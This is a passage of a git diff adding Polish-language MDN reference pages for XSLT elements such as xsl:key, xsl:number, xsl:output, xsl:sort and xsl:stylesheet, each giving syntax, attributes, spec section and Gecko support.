class="external" href="http://www.mozilla.org/projects/xslt/js-interface.html">Using the Mozilla JavaScript interface to XSL Transformations</a></dt> <dd><small>...</small></dd> </dl> <dl> <dt><a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">Przewodnik XSLT & XPath</a></dt> <dd><small>The TopXML XSLT tutorial introduces you to the basics of XSLT concepts, syntax, and programming.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.w3schools.com/xsl/">Przewodnik XSLT</a></dt> <dd><small>Przewodnik <a class="external" href="http://www.w3schools.com">W3Schools</a> uczący jak użyć XSLT do transformacji dokumentów XML do innych formatów, takich jak XHTML.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">Czym jest XSLT?</a></dt> <dd><small>This extensive introduction to XSLT and XPath assumes no prior knowledge of the technologies, and guides the reader through background, context, structure, concepts and introductory terminology.</small></dd> </dl> <p><span><a href="/Special:Tags?tag=XSLT&language=pl" title="Special:Tags?tag=XSLT&language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li>Obejrzyj fora Mozilli...</li> </ul> <p>{{ DiscussionList("dev-tech-xslt", "mozilla.dev.tech.xslt") }}</p> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/XPath" title="pl/XPath">XPath</a></dd> </dl> <p> </p> </td> </tr> </tbody> +</table> +<p><small> {{ Note("one") }} Ten opis XSLT został wzięty z <a class="external" href="http://pl.wikipedia.org/wiki/XSLT">Artykuł w Wikipedii o XSLT</a>. </small></p> +<p><span>Categories</span></p> +<p><span>Interwiki Language Links</span></p> +<p> </p> +<p>{{ languages( { "en": "en/XSLT", "es": "es/XSLT", "fr": "fr/XSLT", "it": "it/XSLT", "ja": "ja/XSLT", "ko": "ko/XSLT", "pt": "pt/XSLT" } ) }}</p> diff --git a/files/pl/web/xslt/key/index.html b/files/pl/web/xslt/key/index.html new file mode 100644 index 0000000000..77b5245afd --- /dev/null +++ b/files/pl/web/xslt/key/index.html @@ -0,0 +1,36 @@ +--- +title: key +slug: Web/XSLT/key +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/key +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:key></code> deklaruje nazwę klucza, który możemy zastosować gdziekolwiek w arkuszu stylów z funkcją <code>key( )</code>. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:key name=NAZWA match=WYRAZENIE use=WYRAZENIE /> </pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Określa nazwę klucza. Musi być poprawną wartością QName. +</dd><dt><code>match</code> +</dt><dd>Określa węzły, do których odnosi się klucz. +</dd><dt><code>use</code> +</dt><dd>Określa wyrażenie XPath wykorzystywane do ustalenia wartości klucza dla każdego z węzłów. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 12.2. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/key", "es": "es/XSLT/key", "fr": "fr/XSLT/key" } ) }} diff --git a/files/pl/web/xslt/message/index.html b/files/pl/web/xslt/message/index.html new file mode 100644 index 0000000000..38ea60cd32 --- /dev/null +++ b/files/pl/web/xslt/message/index.html @@ -0,0 +1,31 @@ +--- +title: message +slug: Web/XSLT/message +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/message +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:message></code> zwraca komunikat (do konsoli JavaScript Console w NS) i opcjonalnie przerywa wykonywanie arkusza stylów. Może się okazać przydatny podczas debugowania. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:message terminate="yes" | "no" > + SZABLON +</xsl:message></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>terminate</code> +</dt><dd>Z wartością "<code>yes</code>" wskazuje, że wykonywanie powinno zostać przerwane. Domyślną wartością jest "<code>no</code>", w przypadku której zostaje zwrócony komunikat, a wykonywanie jest kontynuowane. </dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 13. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/message", "es": "es/XSLT/message", "fr": "fr/XSLT/message" } ) }} diff --git a/files/pl/web/xslt/namespace-alias/index.html b/files/pl/web/xslt/namespace-alias/index.html new file mode 100644 index 0000000000..9ed3b83f10 --- /dev/null +++ b/files/pl/web/xslt/namespace-alias/index.html @@ -0,0 +1,33 @@ +--- +title: namespace-alias +slug: Web/XSLT/namespace-alias +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/namespace-alias +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:namespace-alias></code> jest rzadko używanym narzędziem, które mapuje przestrzeń nazw w arkuszu stylów do innej przestrzeni nazw w drzewie wyjściowym. Najczęstszym zastosowaniem tego elementu jest generowanie arkusza stylów z innego arkusza. Aby zapobiec elementowi wyniku literałowego (LRE) z prefiksem <code>xsl:</code> przez byciem źle zrozumianym przez procesor (element ten powinien być po prostu skopiowany tak jak jest do drzewa wynikowego), jest on przypisywany do tymczasowej przestrzeni nazw, która jest odpowiednio przekonwertowana do przestrzeni nazw XSLT w drzewie wyjściowym. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:namespace-alias stylesheet-prefix=NAZWA result-prefix=NAZWA /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>stylesheet-prefix</code> +</dt><dd>Określa tymczasową przestrzeń nazw. +</dd><dt><code>result-prefix</code> +</dt><dd>Określa pożądaną przestrzeń nazw dla drzewa wyjściowego. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.1.1 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>W chwili obecnej nie obsługuje. +</p>{{ languages( { "en": "en/XSLT/namespace-alias", "es": "es/XSLT/namespace-alias", "fr": "fr/XSLT/namespace-alias" } ) }} diff --git a/files/pl/web/xslt/number/index.html b/files/pl/web/xslt/number/index.html new file mode 100644 index 0000000000..e54b37df37 --- /dev/null +++ b/files/pl/web/xslt/number/index.html @@ -0,0 +1,98 @@ +--- +title: number +slug: Web/XSLT/number +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/number +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:number></code> zlicza wszystko sekwencyjnie. Może być również zastosowany do szybkiego formatowania liczb. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:number + count=WYRAŻENIE + level="single" | "multiple" | "any" + from=WYRAŻENIE + value=WYRAŻENIE + format=ŁAŃCUCH_ZNAKÓW_FORMATU + lang=XML:LANG-CODE + letter-value="alphabetic" | "traditional" + grouping-separator=SYMBOL + grouping-size=LICZBA /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>count</code> +</dt><dd>Określa co w drzewie źródłowym powinno zostać zliczone sekwencyjnie. Atrybut używa wyrażenia XPath. +</dd></dl> +<dl><dt><code>level</code> +</dt><dd>Określa w jaki sposób poziomy drzewa źródłowego powinny być traktowane w generowaniu liczb sekwencyjnych. Atrybut posiada trzy prawidłowe wartości: <code>single</code>, <code>multiple</code> i <code>any</code>. Domyślną wartością jest <code>single</code>: +</dd></dl> +<dl><dd><dl><dt><code>single</code> +</dt><dd>Zlicza węzły-rodzeństwo sekwencyjnie tak, jak pozycje na liście. Procesor idzie do pierwszego węzła w osi <a href="pl/XPath/Osie/ancestor-or-self"><code>ancestor-or-self</code></a>, który pasuje do atrybutu <code>count</code> i zlicza ten węzeł wraz z całym poprzedzającym go rodzeństwem (zatrzymując się po osiągnięciu odpowiednika atrybutu <code>from</code>, jeśli jakikolwiek istnieje), które również pasuje do atrybutu <code>count</code>. Jeśli nie znaleziono odpowiednich węzłów, sekwencja będzie pustą listą. +</dd></dl> +</dd></dl> +<dl><dd><dl><dt><code>multiple</code> +</dt><dd>Zlicza węzły jako złożoną sekwencję, która odzwierciedla hierarchiczną pozycję węzła np. 1.2.2.5 (za pomocą atrybutu <code>format</code> można określić zagnieżdżony format np. A.1.1). Procesor patrzy na wszystkich <a href="pl/XPath/Osie/ancestor">przodków</a> obecnego węzła i na sam węzeł, zatrzymując się po osiągnięciu odpowiednika atrybutu <code>from</code>, jeśli jakikolwiek istnieje. Dla każdego węzła na tej liście, który pasuje do atrybutu <code>count</code>, procesor zlicza ile poprzedzającego (i pasującego) rodzeństwa posiada on dodając również jeden dla samego węzła. Jeśli nie znaleziono odpowiednich elementów, sekwencja będzie pustą listą. +</dd></dl> +</dd></dl> +<dl><dd><dl><dt><code>any</code> (Obecnie nieobsługiwany) +</dt><dd>Zlicza wszystkie pasujące węzły sekwencyjnie, niezależnie od ich poziomu. Brane są pod uwagę wszystkie osie <a href="pl/XPath/Osie/ancestor"><code>ancestor</code></a>, <a href="pl/XPath/Osie/self"><code>self</code></a> i <a href="pl/XPath/Osie/preceding"><code>preceding</code></a>. Procesor zaczyna od aktualnego węzła kontynuując w odwrotnym kierunku dokumentu, zatrzymując się po osiągnięciu odpowiednika atrybutu <code>from</code>. Jeśli nie znaleziono węzłów pasujących do atrybutu <code>count</code>, sekwencja będzie pustą listą. Ten poziom nie jest obecnie. +</dd></dl> +</dd></dl> +<dl><dt>from +</dt><dd>Określa gdzie powinno rozpocząć się zliczanie. Sekwencja rozpoczyna się od pierwszego potomka węzła pasującego do atrybutu <code>from</code>. +</dd></dl> +<dl><dt>value +</dt><dd>Stosuje podany format do liczby. Jest to szybki sposób na formatowanie liczb dostarczonych przez użytkownika (w przeciwieństwie do liczby sekwencyjnej węzła) w dowolnym ze standardowych formatów <code><xsl:number></code>. +</dd></dl> +<dl><dt>format +</dt><dd>Definiuje format generowanych liczb: +</dd></dl> +<dl><dd><dl><dt>format="1" +</dt><dd> <tt>1 2 3 . . .</tt> (Jest to jedyny obsługiwany obecnie format) +</dd></dl> +</dd></dl> +<dl><dd><dl><dt>format="01" +</dt><dd> <tt>01 02 03 . . . 09 10 11 . . .</tt> +</dd></dl> +</dd></dl> +<dl><dd><dl><dt>format="a" +</dt><dd> <tt>a b c . . .y z aa ab . . .</tt> +</dd></dl> +</dd></dl> +<dl><dd><dl><dt>format="A" +</dt><dd> <tt>A B C . . . Y Z AA AB . . .</tt> +</dd></dl> +</dd></dl> +<dl><dd><dl><dt>format="i" +</dt><dd> <tt>i ii iii iv v . . .</tt> +</dd></dl> +</dd></dl> +<dl><dd><dl><dt>format="I" +</dt><dd> <tt>I II III IV V . . .</tt> +</dd></dl> +</dd></dl> +<dl><dt>lang (Obecnie nieobsługiwany) +</dt><dd>Określa język, którego alfabet będzie stosowaniu w formatowaniu liczb opartym o litery. +</dd></dl> +<dl><dt>letter-value +</dt><dd>Wprowadza ujednoznacznienie między sekwencjami liczbowymi, które używają liter. Niektóre języki posiadają więcej niż jeden system liczbowy używający liter. Jeśli obydwa systemy zaczynają się tym samym znakiem, mogą powstać niejasności. Atrybut ten może posiadać wartość "<code>alphabetic</code>" (alfabetycznie) lub "<code>traditional</code>" (tradycyjnie). Domyślną wartością jest "<code>alphabetic</code>". +</dd></dl> +<dl><dt>grouping-separator +</dt><dd>Określa symbol jaki powinien zostać użyty jako separator grup. Domyślnym symbolem jest przecinek (<code>,</code>). +</dd></dl> +<dl><dt>grouping-size +</dt><dd>Wskazuje liczbę cyfr, z których składa się grupa numeryczna. Domyślną wartością jest "<code>3</code>". +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.7 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Częściowo obsługuje. Zobacz powyższe komentarze. +</p>{{ languages( { "en": "en/XSLT/number", "es": "es/XSLT/number", "fr": "fr/XSLT/number" } ) }} diff --git a/files/pl/web/xslt/otherwise/index.html b/files/pl/web/xslt/otherwise/index.html new file mode 100644 index 0000000000..7b3a02ace5 --- /dev/null +++ b/files/pl/web/xslt/otherwise/index.html @@ -0,0 +1,32 @@ +--- +title: otherwise +slug: Web/XSLT/otherwise +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/otherwise +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:otherwise></code> jest używany do zdefiniowania czynności, która jest wykonywana, gdy żaden z warunków <code><xsl:when></code> nie ma zastosowania. Element jest podobny do instrukcji <code>else</code> lub <code>default</code> znanej z innych języków programowania. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:otherwise> + SZABLON +</xsl:otherwise></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Podinstrukcja, musi pojawić się wewnątrz szablonu jako ostatnie dziecko elementu <code><xsl:choose></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 9.2 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/otherwise", "es": "es/XSLT/otherwise", "fr": "fr/XSLT/otherwise" } ) }} diff --git a/files/pl/web/xslt/output/index.html b/files/pl/web/xslt/output/index.html new file mode 100644 index 0000000000..44a63ffdb7 --- /dev/null +++ b/files/pl/web/xslt/output/index.html @@ -0,0 +1,63 @@ +--- +title: output +slug: Web/XSLT/output +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/output +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:output></code> kontroluje charakterystyki dokumentu wyjściowego. Aby funkcjonować poprawnie w Netscapie, element musi być użyty z atrybutem method. Od wersji 7.0 <code>method="text"</code> działa prawidłowo. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:output + method="xml" | "html" | "text" + version=LANCUCH-ZNAKOW + encoding=LANCUCH-ZNAKOW + omit-xml-declaration="yes" | "no" + standalone="yes" | "no" + doctype-public=LANCUCH-ZNAKOW + doctype-system=LANCUCH-ZNAKOW + cdata-section-elements=LISTA-NAZW + indent="yes" | "no" + media-type=LANCUCH-ZNAKOW /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>method</code> </dt><dd> Określa format wyjściowy. +</dd></dl> +<dl><dt><code>version</code> </dt><dd> Określa wartość atrybutu wersji deklaracji XML lub HTML w dokumencie wyjściowym. Można go używać wyłącznie z <code>method="html"</code> lub <code>method="xml"</code>. +</dd></dl> +<dl><dt><code>encoding</code> +</dt><dd>Określa wartość atrybutu kodowania <code>encoding</code> w dokumencie wyjściowym. +</dd></dl> +<dl><dt><code>omit-xml-declaration</code> +</dt><dd>Wskazuje czy dołączyć do wyjścia deklarację XML. Dozwolone wartości to "<code>yes</code>" lub "<code>no</code>". +</dd></dl> +<dl><dt><code>standalone</code> (Niewspierane) +</dt><dd>Jeśli obecny wskazuje, że samodzielna deklaracja powinna pojawić się dokumencie wyjściowym; wskazuje również jej wartość. Dozwolone wartości to "yes" lub "no". +</dd></dl> +<dl><dt><code>doctype-public</code> +</dt><dd>Określa wartość atrybutu <code>PUBLIC</code> deklaracji <code>DOCTYPE</code> w dokumencie wyjściowym. +</dd></dl> +<dl><dt><code>doctype-system</code> </dt><dd> Określa wartość atrybutu <code>SYSTEM</code> deklaracji <code>DOCTYPE</code> w dokumencie wyjściowym. +</dd></dl> +<dl><dt><code>cdata-section-elements</code> </dt><dd> Wypisuje elementy, których treść tekstowa powinna być zapisana jako sekcje <code>CDATA</code>. Elementy powinny być oddzielone za pomocą białych znaków. +</dd></dl> +<dl><dt><code>indent</code> (Niewspierane) +</dt><dd>Określa czy wyjście powinno zostać wcięte, aby ukazać jego hierarchiczną strukturę. +</dd></dl> +<dl><dt><code>media-type</code> (Nieobsługiwany) </dt><dd> Określa typ MIME dokumentu wyjściowego. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 16. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Częściowo obsługuje. Zobacz powyższe komentarze. +</p>{{ languages( { "en": "en/XSLT/output", "fr": "fr/XSLT/output" } ) }} diff --git a/files/pl/web/xslt/param/index.html b/files/pl/web/xslt/param/index.html new file mode 100644 index 0000000000..43eead74c1 --- /dev/null +++ b/files/pl/web/xslt/param/index.html @@ -0,0 +1,34 @@ +--- +title: param +slug: Web/XSLT/param +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/param +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:param></code> ustala parametr przez nazwę i (opcjonalnie) przez domyślną wartość dla tego parametru. Jeśli użyty jako element najwyższego poziomu, parametr jest globalny. Jeśli użyty wewnątrz elementu <code><xsl:template></code>, parametr jest lokalny dla tego szablonu. W takim przypadku musi być on pierwszym elementem-dzieckiem szablonu. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:param name=NAZWA select=WYRAZENIE + SZABLON +</xsl:param></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Nazywa parametr. Musi być poprawną wartością QName. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Używa wyrażenia XPath, aby dostarczyć domyślną wartość, gdy żadna nie została określona. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, może pojawić się jako element najwyższego poziomu lub wewnątrz szablonu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 11. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/param", "fr": "fr/XSLT/param" } ) }} diff --git a/files/pl/web/xslt/preserve-space/index.html b/files/pl/web/xslt/preserve-space/index.html new file mode 100644 index 0000000000..962f299793 --- /dev/null +++ b/files/pl/web/xslt/preserve-space/index.html @@ -0,0 +1,31 @@ +--- +title: preserve-space +slug: Web/XSLT/preserve-space +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/preserve-space +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:preserve-space></code> definiuje elementy w dokumencie źródłowym, dla których białe znaki (whitespace) powinny zostać zachowane. Jeśli elementów jest więcej niż tylko jeden, oddziel ich nazwy używając jednego z białych znaków. Pozostawienie białych znaków jest ustawieniem domyślnym, dlatego ten element musi być użyty tylko jako przeciwdziałanie elementowi <code><xsl:strip-space></code>. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:preserve-space elements=LISTA-NAZW /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>elements</code> +</dt><dd>Określa elementy, dla których białe znaki mają zostać zachowane. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 3.4 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/preserve-space", "fr": "fr/XSLT/preserve-space" } ) }} diff --git a/files/pl/web/xslt/processing-instruction/index.html b/files/pl/web/xslt/processing-instruction/index.html new file mode 100644 index 0000000000..4f1e67f565 --- /dev/null +++ b/files/pl/web/xslt/processing-instruction/index.html @@ -0,0 +1,33 @@ +--- +title: processing-instruction +slug: Web/XSLT/processing-instruction +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/processing-instruction +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:processing-instruction></code> zapisuje instrukcję przetwarzania do dokumentu wyjściowego. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<p><code><xsl:processing-instruction name=NAZWA> SZABLON +</xsl:processing-instruction></code> </p> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Określa nazwę instrukcji przetwarzania. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wewnątrz szablonu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.3 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/processing-instruction", "fr": "fr/XSLT/processing-instruction" } ) }} diff --git a/files/pl/web/xslt/sort/index.html b/files/pl/web/xslt/sort/index.html new file mode 100644 index 0000000000..9a6ab04701 --- /dev/null +++ b/files/pl/web/xslt/sort/index.html @@ -0,0 +1,49 @@ +--- +title: sort +slug: Web/XSLT/sort +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/sort +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:sort></code> definiuje klucz sortowania dla węzłów wybranych przez <code><xsl:apply-templates></code> lub <code><xsl:for-each></code> i określa kolejność, w jakiej mają być one przetwarzane. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:sort + select=WYRAZENIE + order="ascending" | "descending" + case-order="upper-first"| "lower-first" + lang=XML:KOD-JEZYKA + data-type="text" | "number" /> </pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<p>Brak. +</p> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Używa wyrażenia XPath do określenia węzłów, które mają zostać posortowane. +</dd></dl> +<dl><dt><code>order</code> +</dt><dd>Określa czy węzły mają być przetwarzane w kolejności "<code>ascending</code>" (rosnącej) lub "<code>descending</code>" (malejącej). Wartością domyślną jest "<code>ascending</code>". +</dd></dl> +<dl><dt><code>case-order</code> +</dt><dd>Wskazuje, które z liter (małe czy duże) mają być uporządkowane jako pierwsze. Dostępnymi wartościami są "<code>upper-first</code>" (najpierw duże) i "<code>lower-first</code>" (najpierw małe). +</dd></dl> +<dl><dt><code>lang</code> +</dt><dd>Określa, który język ma zostać użyty przez sortowanie. +</dd></dl> +<dl><dt><code>data-type</code> +</dt><dd>Definiuje czy pozycje mają być uporządkowane alfabetycznie czy numerycznie. Dostępnymi wartościami są "<code>text</code>" (alfabetycznie) i "<code>number</code>" (numerycznie) z "<code>text</code>" jako wartością domyślną. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Podinstrukcja, zawsze pojawia się jako dziecko <xsl:for-each> (gdzie musi się pojawić przed szablonem) lub <xsl:apply-templates>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 10. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/sort", "fr": "fr/XSLT/sort" } ) }} diff --git a/files/pl/web/xslt/strip-space/index.html b/files/pl/web/xslt/strip-space/index.html new file mode 100644 index 0000000000..55daf99a8d --- /dev/null +++ b/files/pl/web/xslt/strip-space/index.html @@ -0,0 +1,31 @@ +--- +title: strip-space +slug: Web/XSLT/strip-space +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/strip-space +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:strip-space></code> definiuje elementy w dokumencie źródłowym, dla których białe znaki powinny zostać usunięte. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:strip-space elements=LISTA-NAZW /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>elements</code> +</dt><dd>Określa listę oddzielonych za pomocą spacji elementów w źródle, którego węzły tekstowe zawierające tylko białe znaki powinny zostać usunięte. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu, musi być dzieckiem <code><xsl:stylesheet></code> lub <code><xsl:transform></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 3.4 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/strip-space", "fr": "fr/XSLT/strip-space" } ) }} diff --git a/files/pl/web/xslt/stylesheet/index.html b/files/pl/web/xslt/stylesheet/index.html new file mode 100644 index 0000000000..36275a7efd --- /dev/null +++ b/files/pl/web/xslt/stylesheet/index.html @@ -0,0 +1,34 @@ +--- +title: stylesheet +slug: Web/XSLT/stylesheet +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/stylesheet +--- +<p>{{ XsltRef() }}</p> +<p>Element <code><xsl:stylesheet></code> (lub odpowiadający mu element <code><xsl:transform></code>) jest najbardziej zewnętrznym elementem arkusza.</p> +<h3 id="Deklaracja_przestrzeni_nazw" name="Deklaracja_przestrzeni_nazw">Deklaracja przestrzeni nazw</h3> +<p>Pseudoatrybut wymagany do identyfikacji dokumentu jako arkusza XSLT. Zazwyczaj jest to <code>xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>"</code>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre><xsl:stylesheet + version=LICZBA + xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + id=NAZWA + extension-element-prefixes=LISTA-NAZW + exclude-result-prefixes=LISTA-NAZW> + CALY ARKUSZ +</xsl:stylesheet></pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty">Wymagane atrybuty</h3> +<dl><dt><code>version</code> </dt><dd>Określa wersję XSLT wymaganą przez ten arkusz. </dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty">Opcjonalne atrybuty</h3> +<dl><dt><code>id </code>(Obsługiwany od wersji 7.0 tylko wtedy, gdy jednoznacznie wywołany poprzez liniowe DTD.) </dt><dd>Określa <code>id</code> dla tego arkusza. Jest on używany najczęściej wtedy, gdy arkusz jest osadzony w innym dokumencie XML. </dd></dl> 